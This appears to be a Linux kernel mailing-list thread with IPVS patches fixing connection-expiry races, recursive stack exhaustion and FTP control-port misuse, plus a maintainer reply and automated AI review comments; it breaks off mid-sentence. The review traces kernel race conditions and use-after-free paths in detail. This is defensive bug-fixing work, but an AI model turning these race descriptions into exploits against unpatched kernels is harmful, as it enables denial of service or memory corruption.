 static void ip_vs_conn_del(struct ip_vs_conn *cp)
 {
-	if (timer_delete(&cp->timer)) {
-		/* Drop cp->control chain too */
-		if (cp->control)
-			cp->timeout = 0;
-		ip_vs_conn_expire(&cp->timer);
-	}
-}
+	struct timer_list *t = (void *)((unsigned long)(&cp->timer) | 1UL);
 
-/* Try to delete connection while holding reference */
-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
-{
-	if (timer_delete(&cp->timer)) {
-		/* Drop cp->control chain too */
-		if (cp->control)
-			cp->timeout = 0;
-		__ip_vs_conn_put(cp);
-		ip_vs_conn_expire(&cp->timer);
-	} else {
-		__ip_vs_conn_put(cp);
-	}
+	/* Drop cp->control chain too */
+	if (cp->control)
+		cp->timeout = 0;
+	ip_vs_conn_expire(t);
 }
 
+/* Connection is removed in the following steps:
+ * - timer expires or connection is deleted
+ * - there should be no more references (n_control>0 and refcnt>1)
+ * - there should be no pending timer or a running timer callback (on deletion)
+ */
 static void ip_vs_conn_expire(struct timer_list *t)
 {
-	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
+	bool my_cb = !((unsigned long)t & 1);
+	struct timer_list *t2 = (void *)((unsigned long)t & ~1UL);
+	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
 	/*
@@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		goto expire_later;
 
 	/* Unlink conn if not referenced anymore */
-	if (likely(ip_vs_conn_unlink(cp))) {
+	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
 		struct ip_vs_conn *ct = cp->control;
 
-		/* delete the timer if it is activated by other users */
-		timer_delete(&cp->timer);
-
 		/* does anybody control me? */
 		if (ct) {
-			bool has_ref = !cp->timeout && __ip_vs_conn_get(ct);
-
+			rcu_read_lock();
 			ip_vs_control_del(cp);
 			/* Drop CTL or non-assured TPL if not used anymore */
-			if (has_ref && !atomic_read(&ct->n_control) &&
+			if (!cp->timeout && !atomic_read(&ct->n_control) &&
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del_put(ct);
-			} else if (has_ref) {
-				__ip_vs_conn_put(ct);
+				ip_vs_conn_del(ct);
 			}
+			rcu_read_unlock();
 		}
 
 		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
@@ -1410,13 +1413,15 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		  refcount_read(&cp->refcnt),
 		  atomic_read(&cp->n_control));
 
-	refcount_inc(&cp->refcnt);
-	cp->timeout = 60*HZ;
+	if (__ip_vs_conn_get(cp)) {
+		if (cp->timeout || atomic_read(&cp->n_control))
+			cp->timeout = 60 * HZ;
 
-	if (ipvs->sync_state & IP_VS_STATE_MASTER)
-		ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
+		if (ipvs->sync_state & IP_VS_STATE_MASTER)
+			ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
 
-	__ip_vs_conn_put_timer(cp);
+		__ip_vs_conn_put_timer(cp);
+	}
 }
 
 /* Modify timer, so that it expires as soon as possible.
-- 
2.43.0

[PATCH nf v4 2/3] ipvs: avoid stack overflow from recursive connection expiration

[Zihan Xi]

When a controlled IPVS connection expires, its controller may be expired
synchronously if it has no remaining controlled connections. A chain of
controlled connections can then recurse through ip_vs_conn_expire() and
exhaust the kernel stack during namespace cleanup.

Continue expiration with the controller after the current connection has
been fully cleaned up instead of calling ip_vs_conn_del() recursively. Keep
the expiration walk under RCU, preserve the immediate-drop timeout for a
controller with its own controller, and switch to deletion mode before the
next iteration.

This keeps controlled-connection cleanup synchronous while using one stack
frame for the whole chain. The timer callback race during connection
deletion is handled by the preceding refcount fix.

Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v4:
  - Rebase the iterative controller cleanup on the timer-callback fix.
  - Keep the controller walk synchronous and switch to deletion mode for
    the next iteration.
  - v3 Link:
    https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Handle the timer-callback race while keeping controller cleanup
    iterative and synchronous.
  - v2 Link:
    https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Replace recursive controller expiration with an iterative repeat path.
  - v1 Link:
    https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/

 net/netfilter/ipvs/ip_vs_conn.c | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
index 32cfc02aa2912..f85752e79ed92 100644
--- a/net/netfilter/ipvs/ip_vs_conn.c
+++ b/net/netfilter/ipvs/ip_vs_conn.c
@@ -1357,6 +1357,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
 	struct netns_ipvs *ipvs = cp->ipvs;
 
+	rcu_read_lock();
+
+repeat:
 	/*
 	 *	do I control anybody?
 	 */
@@ -1366,19 +1369,20 @@ static void ip_vs_conn_expire(struct timer_list *t)
 	/* Unlink conn if not referenced anymore */
 	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
 		struct ip_vs_conn *ct = cp->control;
+		bool next = false;
 
 		/* does anybody control me? */
 		if (ct) {
-			rcu_read_lock();
 			ip_vs_control_del(cp);
 			/* Drop CTL or non-assured TPL if not used anymore */
 			if (!cp->timeout && !atomic_read(&ct->n_control) &&
 			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
 			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
 				IP_VS_DBG(4, "drop controlling connection\n");
-				ip_vs_conn_del(ct);
+				if (ct->control)
+					ct->timeout = 0;
+				next = true;
 			}
-			rcu_read_unlock();
 		}
 
 		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
@@ -1405,7 +1409,12 @@ static void ip_vs_conn_expire(struct timer_list *t)
 		else
 			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
 		atomic_dec(&ipvs->conn_count);
-		return;
+		if (next) {
+			cp = ct;
+			my_cb = false;
+			goto repeat;
+		}
+		goto out;
 	}
 
   expire_later:
@@ -1422,6 +1431,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
 
 		__ip_vs_conn_put_timer(cp);
 	}
+
+out:
+	rcu_read_unlock();
 }
 
 /* Modify timer, so that it expires as soon as possible.
-- 
2.43.0

[PATCH nf v4 3/3] ipvs: reject FTP control ports as data ports

[Zihan Xi]

ip_vs_ftp_out() creates a wildcard data connection from the
server-advertised passive port. If that port is one of the configured FTP
control ports, ip_vs_conn_new() binds the FTP helper to the new connection
again. A subsequent wildcard lookup can then extend a controlled-connection
chain.

Reject zero and configured control ports before creating passive
connections. For active mode, reject a zero client port and a data port
derived from a configured control port.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v4:
  - Resend the FTP helper fix as patch 3/3 with the generic cleanup fixes.
  - v3 Link:
    https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Keep the active-mode guard for configured FTP control ports.
  - v2 Link:
    https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Add the active-mode check for a data port derived from a configured
    control port.
  - v1 Link:
    https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/

 net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/net/netfilter/ipvs/ip_vs_ftp.c b/net/netfilter/ipvs/ip_vs_ftp.c
index 9e3e005a82635..4822a1a75212d 100644
--- a/net/netfilter/ipvs/ip_vs_ftp.c
+++ b/net/netfilter/ipvs/ip_vs_ftp.c
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
 module_param_array(ports, ushort, &ports_count, 0444);
 MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
 
+static bool is_control_port(u16 port)
+{
+	unsigned int i;
+
+	for (i = 0; i < ports_count; i++) {
+		if (ports[i] == port)
+			return true;
+	}
+	return false;
+}
+
 
 static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
 {
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	/* Do not redirect data to control ports */
+	if (!port || is_control_port(ntohs(port)))
+		return 0;
+
 	/* Now update or create a connection entry for it */
 	{
 		struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
 		return 1;
 	}
 
+	if (!port || is_control_port(ntohs(cp->vport) - 1))
+		return 0;
+
 	/* Passive mode off */
 	cp->app_data = (void *) IP_VS_FTP_ACTIVE;
 
-- 
2.43.0

Re: [PATCH nf v4 1/3] ipvs: wait the running timer cb on conn deletion

[Julian Anastasov]

	Hello,

On Wed, 23 Sep 2026, Zihan Xi wrote:

> From: Julian Anastasov <ja@ssi.bg>
> 
> Sashiko reports for problem when deleting connections.
> 
> If connection timer expires, its callback can not be
> concurrently running but if connection is deleted
> the callback can be running on another CPU even
> after all references are released. Before now we
> continued with the connection freeing, risking the
> callback to access the deleted connection after it
> is freed. As ip_vs_conn_del*() run under RCU lock
> there is no risk accessing a freed connection by
> concurrent timer callback as Sashiko warns, may
> be only if our timer expires and we try to delete
> the cp->control chain.
> 
> Fix that by failing the ip_vs_conn_unlink() call after
> refcnt is restored to 1 allowing the timer callback
> to be scheduled for new execution which should happen
> after the detected running callback finishes.
> 
> One of two things can happen when we detect the
> running callback:
> 
> 1. the concurrent timer callback can see refcnt 0 and
> do nothing, so we will schedule new timer callback to
> expire the connection after the running one finishes
> 
> 2. the concurrent timer callback can see refcnt 1 and
> to expire the connection as usually, in this case we
> will see refcnt 0 and will do nothing
> 
> Add explicit rcu_read_lock() while deleting the cp->control
> chain to protect from concurrent timer callback for ct to
> expire it before us.
> 
> During such races, try to keep 0 in cp->timeout as it is
> a request for deleting our cp->control chain immediately.
> 
> Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai
> Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
> Signed-off-by: Julian Anastasov <ja@ssi.bg>

	Sashiko reports for refcount problem:

https://sashiko.dev/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai

	Will send new version...

pw-bot: changes-requested

> ---
>  net/netfilter/ipvs/ip_vs_conn.c | 103 +++++++++++++++++---------------
>  1 file changed, 54 insertions(+), 49 deletions(-)
> 
> diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> index 6fa3e1dc534c3..32cfc02aa2912 100644
> --- a/net/netfilter/ipvs/ip_vs_conn.c
> +++ b/net/netfilter/ipvs/ip_vs_conn.c
> @@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
>  /* Try to unlink ip_vs_conn from conn_tab.
>   * returns bool success.
>   */
> -static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
> +static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp, bool my_cb)
>  {
>  	struct netns_ipvs *ipvs = cp->ipvs;
>  	struct hlist_bl_head *head, *head2;
>  	u32 hash_key, hash_key2;
>  	struct ip_vs_rht *t;
> -	bool ret = false;
>  	bool use2;
>  
> +	if (!refcount_dec_if_one(&cp->refcnt))
> +		return false;
> +
>  	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> -		return refcount_dec_if_one(&cp->refcnt);
> +		return true;
> +
> +	/* Revalidate after conn is excluded from traffic:
> +	 * - not controlling other conns
> +	 * - no pending/running timer callback
> +	 *
> +	 * And the winner is ...
> +	 */
> +	if (atomic_read(&cp->n_control) ||
> +	    (!timer_delete(&cp->timer) && !my_cb)) {
> +		/* Not me? Give the timer callback another chance, even
> +		 * if one is concurrently running during the conn deletion.
> +		 */
> +		refcount_inc(&cp->refcnt);
> +		return false;
> +	}
>  
>  	rcu_read_lock();
>  	local_bh_disable();
> @@ -337,15 +354,11 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
>  		      false /* new_hash2 */, &head, &head2);
>  
>  	if (cp->flags & IP_VS_CONN_F_HASHED) {
> -		/* Decrease refcnt and unlink conn only if we are last user */
> -		if (use2 == ip_vs_conn_use_hash2(cp) &&
> -		    refcount_dec_if_one(&cp->refcnt)) {
> -			hlist_bl_del_rcu(&cp->hn0.node);
> -			if (use2)
> -				hlist_bl_del_rcu(&cp->hn1.node);
> -			cp->flags &= ~IP_VS_CONN_F_HASHED;
> -			ret = true;
> -		}
> +		/* Unlink conn as we are the last user */
> +		hlist_bl_del_rcu(&cp->hn0.node);
> +		if (use2)
> +			hlist_bl_del_rcu(&cp->hn1.node);
> +		cp->flags &= ~IP_VS_CONN_F_HASHED;
>  	}
>  
>  	conn_tab_unlock(head, head2);
> @@ -353,7 +366,7 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
>  	local_bh_enable();
>  	rcu_read_unlock();
>  
> -	return ret;
> +	return true;
>  }
>  
>  
> @@ -1319,34 +1332,29 @@ static void ip_vs_conn_rcu_free(struct rcu_head *head)
>  	kmem_cache_free(ip_vs_conn_cachep, cp);
>  }
>  
> -/* Try to delete connection while not holding reference */
> +/* Try to delete connection while not holding reference.
> + * It can be called concurrently and always under RCU lock.
> + */
>  static void ip_vs_conn_del(struct ip_vs_conn *cp)
>  {
> -	if (timer_delete(&cp->timer)) {
> -		/* Drop cp->control chain too */
> -		if (cp->control)
> -			cp->timeout = 0;
> -		ip_vs_conn_expire(&cp->timer);
> -	}
> -}
> +	struct timer_list *t = (void *)((unsigned long)(&cp->timer) | 1UL);
>  
> -/* Try to delete connection while holding reference */
> -static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
> -{
> -	if (timer_delete(&cp->timer)) {
> -		/* Drop cp->control chain too */
> -		if (cp->control)
> -			cp->timeout = 0;
> -		__ip_vs_conn_put(cp);
> -		ip_vs_conn_expire(&cp->timer);
> -	} else {
> -		__ip_vs_conn_put(cp);
> -	}
> +	/* Drop cp->control chain too */
> +	if (cp->control)
> +		cp->timeout = 0;
> +	ip_vs_conn_expire(t);
>  }
>  
> +/* Connection is removed in the following steps:
> + * - timer expires or connection is deleted
> + * - there should be no more references (n_control>0 and refcnt>1)
> + * - there should be no pending timer or a running timer callback (on deletion)
> + */
>  static void ip_vs_conn_expire(struct timer_list *t)
>  {
> -	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
> +	bool my_cb = !((unsigned long)t & 1);
> +	struct timer_list *t2 = (void *)((unsigned long)t & ~1UL);
> +	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
>  	struct netns_ipvs *ipvs = cp->ipvs;
>  
>  	/*
> @@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		goto expire_later;
>  
>  	/* Unlink conn if not referenced anymore */
> -	if (likely(ip_vs_conn_unlink(cp))) {
> +	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
>  		struct ip_vs_conn *ct = cp->control;
>  
> -		/* delete the timer if it is activated by other users */
> -		timer_delete(&cp->timer);
> -
>  		/* does anybody control me? */
>  		if (ct) {
> -			bool has_ref = !cp->timeout && __ip_vs_conn_get(ct);
> -
> +			rcu_read_lock();
>  			ip_vs_control_del(cp);
>  			/* Drop CTL or non-assured TPL if not used anymore */
> -			if (has_ref && !atomic_read(&ct->n_control) &&
> +			if (!cp->timeout && !atomic_read(&ct->n_control) &&
>  			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
>  			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
>  				IP_VS_DBG(4, "drop controlling connection\n");
> -				ip_vs_conn_del_put(ct);
> -			} else if (has_ref) {
> -				__ip_vs_conn_put(ct);
> +				ip_vs_conn_del(ct);
>  			}
> +			rcu_read_unlock();
>  		}
>  
>  		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
> @@ -1410,13 +1413,15 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		  refcount_read(&cp->refcnt),
>  		  atomic_read(&cp->n_control));
>  
> -	refcount_inc(&cp->refcnt);
> -	cp->timeout = 60*HZ;
> +	if (__ip_vs_conn_get(cp)) {
> +		if (cp->timeout || atomic_read(&cp->n_control))
> +			cp->timeout = 60 * HZ;
>  
> -	if (ipvs->sync_state & IP_VS_STATE_MASTER)
> -		ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
> +		if (ipvs->sync_state & IP_VS_STATE_MASTER)
> +			ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
>  
> -	__ip_vs_conn_put_timer(cp);
> +		__ip_vs_conn_put_timer(cp);
> +	}
>  }
>  
>  /* Modify timer, so that it expires as soon as possible.
> -- 
> 2.43.0

Regards

--
Julian Anastasov <ja@ssi.bg>

Re: [PATCH nf v4 1/3] ipvs: wait the running timer cb on conn deletion

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 5 potential
issue(s) to consider.

Critical: 0 · High: 1 · Medium: 2 · Low: 2

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [High] In ip_vs_conn_unlink() (net/netfilter/ipvs/ip_vs_conn.c), the
  new abort path tries to put the refcount back to 1 with…
- [Medium] In ip_vs_conn_unlink(), the new check of
  atomic_read(&cp->n_control) after the decrement has no acquire…
- [Medium] ip_vs_conn_unlink() now does refcount_dec_if_one() before its
  revalidation, and on the restore path the connection stays alive.
- [Low] Commit message accuracy.
- [Low] The comment in ip_vs_conn_expire_now() still refers to "the final
  timer_delete in ip_vs_conn_expire".

--

ipvs: wait the running timer cb on conn deletion

This patch changes ip_vs_conn_unlink() to drop the refcount from 1 to 0
first. It then rechecks n_control and timer_delete(), and if either check
fails it restores the refcount and returns false. ip_vs_conn_del() now
always calls ip_vs_conn_expire() with a tagged timer pointer to mark the
deletion path, and ip_vs_conn_del_put() is replaced by RCU protection for
the cp->control chain.

Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai

> ipvs: wait the running timer cb on conn deletion

[Severity: Low]

This isn't a bug, but the subject says the deletion path waits for the
running timer callback. ip_vs_conn_unlink() doesn't wait, since there is no
timer_delete_sync(). It fails and leaves the work to a later timer run, as
the body describes. Would a word like "defer" describe this better?

> As ip_vs_conn_del*() run under RCU lock
> there is no risk accessing a freed connection by
> concurrent timer callback as Sashiko warns, may
> be only if our timer expires and we try to delete
> the cp->control chain.

This seems to contradict the sentence before it, which says the callback
risked accessing the deleted connection after it was freed. Could it be
reworded?

The body also doesn't say that ip_vs_conn_del() now calls
ip_vs_conn_expire() without first needing timer_delete() to succeed. Could
that be mentioned?

> diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> index 6fa3e1dc534c3..32cfc02aa2912 100644
> --- a/net/netfilter/ipvs/ip_vs_conn.c
> +++ b/net/netfilter/ipvs/ip_vs_conn.c
> @@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
>  /* Try to unlink ip_vs_conn from conn_tab.
>   * returns bool success.
>   */
> -static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
> +static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp, bool my_cb)
>  {

[ ... ]

> +	if (!refcount_dec_if_one(&cp->refcnt))
> +		return false;
> +

[Severity: Medium]

The decrement now happens before the revalidation. That means a conn that
is still hashed, and may end up staying alive, briefly has refcnt == 0.
Can lookups miss it during that window?

__ip_vs_conn_in_get() and ip_vs_ct_in_get() skip entries where
__ip_vs_conn_get() fails:

	if (__ip_vs_conn_get(cp)) {
		/* HIT */

Take a template or FTP control conn whose timer fires while it is gaining
a controlled conn. The n_control check below restores the refcount and the
conn stays alive.

A packet arriving in that window could miss the template and create a
duplicate one, possibly for a different real server. A mid-stream packet
could also miss its FTP control conn.

Before this patch, a successful refcount_dec_if_one() always led straight
to the unlink under the bucket lock. A failed lookup could only affect a
conn that was really going away.

>  	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> -		return refcount_dec_if_one(&cp->refcnt);
> +		return true;
> +
> +	/* Revalidate after conn is excluded from traffic:
> +	 * - not controlling other conns
> +	 * - no pending/running timer callback
> +	 *
> +	 * And the winner is ...
> +	 */
> +	if (atomic_read(&cp->n_control) ||
> +	    (!timer_delete(&cp->timer) && !my_cb)) {
> +		/* Not me? Give the timer callback another chance, even
> +		 * if one is concurrently running during the conn deletion.
> +		 */
> +		refcount_inc(&cp->refcnt);
> +		return false;
> +	}

[Severity: High]

Does this refcount_inc() actually bring refcnt back to 1?
refcount_dec_if_one() has already moved it from 1 to 0, and refcount_t
does not allow an increment from 0:

include/linux/refcount.h:__refcount_add() {
	int old = atomic_fetch_add_relaxed(i, &r->refs);
	...
	if (unlikely(!old))
		refcount_warn_saturate(r, REFCOUNT_ADD_UAF);
	...
}

This prints "refcount_t: addition on 0; use-after-free".
refcount_warn_saturate() then sets refcnt to REFCOUNT_SATURATED, not 1.

>From then on, refcount_dec_if_one() can never succeed for this conn, so
neither the timer path nor ip_vs_conn_del() can free it.

When the timer runs, the __ip_vs_conn_get() in expire_later succeeds on
the saturated value, and __ip_vs_conn_put_timer() re-arms the timer for
60*HZ. The conn never reaches call_rcu(), and ipvs->conn_count is never
decremented. The dest, conntrack and app references are never dropped
either.

Wouldn't ip_vs_conn_flush() then loop forever at netns teardown?

	if (atomic_read(&ipvs->conn_count) != 0) {
		schedule();
		goto flush_again;
	}

There seem to be two ways to get here. The first is the race this patch
is meant to fix:

CPU X                         CPU Y
cp->timer fires               ip_vs_conn_del(cp)
ip_vs_conn_expire(cp)           ip_vs_conn_expire()
                                  ip_vs_conn_unlink(cp, false)
                                    refcount_dec_if_one() 1 -> 0
                                    timer_delete() returns 0
                                    refcount_inc() on refcnt 0

CPU Y can be in ip_vs_conn_flush(), ip_vs_random_dropentry() or the
expire_nodest_conn flush.

The second is a template or FTP control conn ct:

- Its timer passes the early n_control == 0 check.
- Meanwhile another CPU runs ip_vs_ct_in_get()->ip_vs_control_add() and
  then ip_vs_conn_put(ct).
- The timer's refcount_dec_if_one() then succeeds, but n_control is now
  non-zero.
- refcount_inc() then runs on 0 again.

Both cases in the commit message ("One of two things can happen when we
detect the running callback") assume refcnt goes back to 1.

Was refcount_set(&cp->refcnt, 1) intended here? While refcnt is 0,
refcount_inc_not_zero() and refcount_dec_if_one() fail in every other
context.

[Severity: Medium]

Is the atomic_read(&cp->n_control) recheck ordered after
refcount_dec_if_one()? That function is only a release cmpxchg:

lib/refcount.c:refcount_dec_if_one() {
	...
	return atomic_try_cmpxchg_release(&r->refs, &val, 0);
}

A control dependency on its result orders later stores but not later
loads. Unlike refcount_dec_and_test(), there is no
smp_acquire__after_ctrl_dep() here.

Consider a template ct with refcnt 2:

CPU B                               CPU A (ct timer callback)
                                    ip_vs_conn_expire(ct)
                                      n_control == 0 check passes
ip_vs_control_add(cp2, ct)
  atomic_inc(&ct->n_control)
ip_vs_conn_put(ct)
  mod_timer()
  refcnt 2 -> 1 (release)
                                    ip_vs_conn_unlink(ct, true)
                                      refcount_dec_if_one() 1 -> 0
                                      atomic_read(&ct->n_control)
                                        may still observe 0

On arm64 or powerpc, can ct then be unlinked and passed to call_rcu()
while cp2->control still points at it? When cp2 later expires,
ip_vs_control_del(cp2) would read and decrement ct->n_control in freed
memory.

Is an smp_acquire__after_ctrl_dep() (or smp_rmb()) needed after a
successful refcount_dec_if_one() and before reading n_control?

[ ... ]

> @@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		goto expire_later;
>  
>  	/* Unlink conn if not referenced anymore */
> -	if (likely(ip_vs_conn_unlink(cp))) {
> +	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
>  		struct ip_vs_conn *ct = cp->control;
>  
> -		/* delete the timer if it is activated by other users */
> -		timer_delete(&cp->timer);
> -

[Severity: Low]

This isn't a bug, but a comment in ip_vs_conn_expire_now() still refers to
this call:

	/* Using mod_timer_pending will ensure the timer is not
	 * modified after the final timer_delete in ip_vs_conn_expire.
	 */

With this timer_delete() removed, the one that remains is the conditional
call in ip_vs_conn_unlink(). Could the comment be updated to point there?

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790146910.git.zihanx%40nebusec.ai

Re: [PATCH nf v4 2/3] ipvs: avoid stack overflow from recursive connection expiration

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 3 potential
issue(s) to consider.

Critical: 0 · High: 2 · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [High] The failure path in ip_vs_conn_unlink() saturates the refcount
  instead of restoring it.
- [High] The controller walk in ip_vs_conn_expire() relies on RCU to keep
  ct alive.
- [Low] An undeclared stable dependency.

--

ipvs: avoid stack overflow from recursive connection expiration

This commit removes the recursive ip_vs_conn_del(ct) call in
ip_vs_conn_expire(). Instead, once the current connection is cleaned up,
the function carries on expiring its controller in a loop. The whole walk
runs under one rcu_read_lock(), and every later iteration runs with my_cb
set to false (deletion mode).

> This keeps controlled-connection cleanup synchronous while using one stack
> frame for the whole chain. The timer callback race during connection
> deletion is handled by the preceding refcount fix.
>
> Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
> Cc: stable@vger.kernel.org

[Severity: Low]
This patch is tagged for stable, but it only works on top of the
preceding patch, "ipvs: wait the running timer cb on conn deletion".
That patch adds:

  - ip_vs_conn_unlink(cp, my_cb)
  - the tagged-pointer my_cb decoding in ip_vs_conn_expire()
  - the new ip_vs_conn_del()
  - the timer callback revalidation

The prerequisite has a Fixes: tag but no Cc: stable. This commit message
only calls it "the preceding refcount fix".

Could the prerequisite also be tagged for stable, and named here by title
or as a stable dependency?

If this loop were backported alone, or adapted onto the old
ip_vs_conn_del()/ip_vs_conn_del_put() layout, ct would be expired
synchronously with my_cb set to false. Nothing would then guard against
ct's own timer callback running at the same time.

> diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> index 32cfc02aa2912..f85752e79ed92 100644
> --- a/net/netfilter/ipvs/ip_vs_conn.c
> +++ b/net/netfilter/ipvs/ip_vs_conn.c
> @@ -1357,6 +1357,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
>  	struct netns_ipvs *ipvs = cp->ipvs;
>  
> +	rcu_read_lock();
> +
> +repeat:
>  	/*
>  	 *	do I control anybody?
>  	 */
> @@ -1366,19 +1369,20 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  	/* Unlink conn if not referenced anymore */
>  	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
>  		struct ip_vs_conn *ct = cp->control;
> +		bool next = false;
>  
>  		/* does anybody control me? */
>  		if (ct) {
> -			rcu_read_lock();
>  			ip_vs_control_del(cp);
>  			/* Drop CTL or non-assured TPL if not used anymore */
>  			if (!cp->timeout && !atomic_read(&ct->n_control) &&
>  			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
>  			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
>  				IP_VS_DBG(4, "drop controlling connection\n");
> -				ip_vs_conn_del(ct);
> +				if (ct->control)
> +					ct->timeout = 0;
> +				next = true;

[Severity: High]
Is RCU enough to keep ct alive here when the controller has
IP_VS_CONN_F_ONE_PACKET set?

After ip_vs_control_del() drops ct->n_control to zero, the walk keeps
using ct without holding a reference. It touches n_control, flags, state
and timeout, and later refcnt via ip_vs_conn_unlink(). A ONE_PACKET
connection is freed right away, not after a grace period:

	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
		ip_vs_conn_rcu_free(&cp->rcu_head);
	else
		call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);

Such a controller can be built. IP_VS_CONN_F_DEST_MASK includes
IP_VS_CONN_F_ONE_PACKET, and the legacy sockopt path copies the flags
unfiltered in ip_vs_copy_udest_compat():

	udest->conn_flags	= udest_compat->conn_flags;

ip_vs_bind_dest() then passes dest->conn_flags on to UDP persistence
templates.

Suppose a destination update clears the flag between the template's and
the child's ip_vs_conn_new() calls in ip_vs_sched_persist(). An unhashed
ONE_PACKET template then controls a hashed normal child. While n_control
is above zero, the template's timer is re-armed every jiffy, because
__ip_vs_conn_put_timer() uses a timeout of 0 for ONE_PACKET.

Now suppose the child is deleted through ip_vs_conn_del() by flush,
drop_entry or nodest. cp->timeout is 0, so next is set and the walk calls
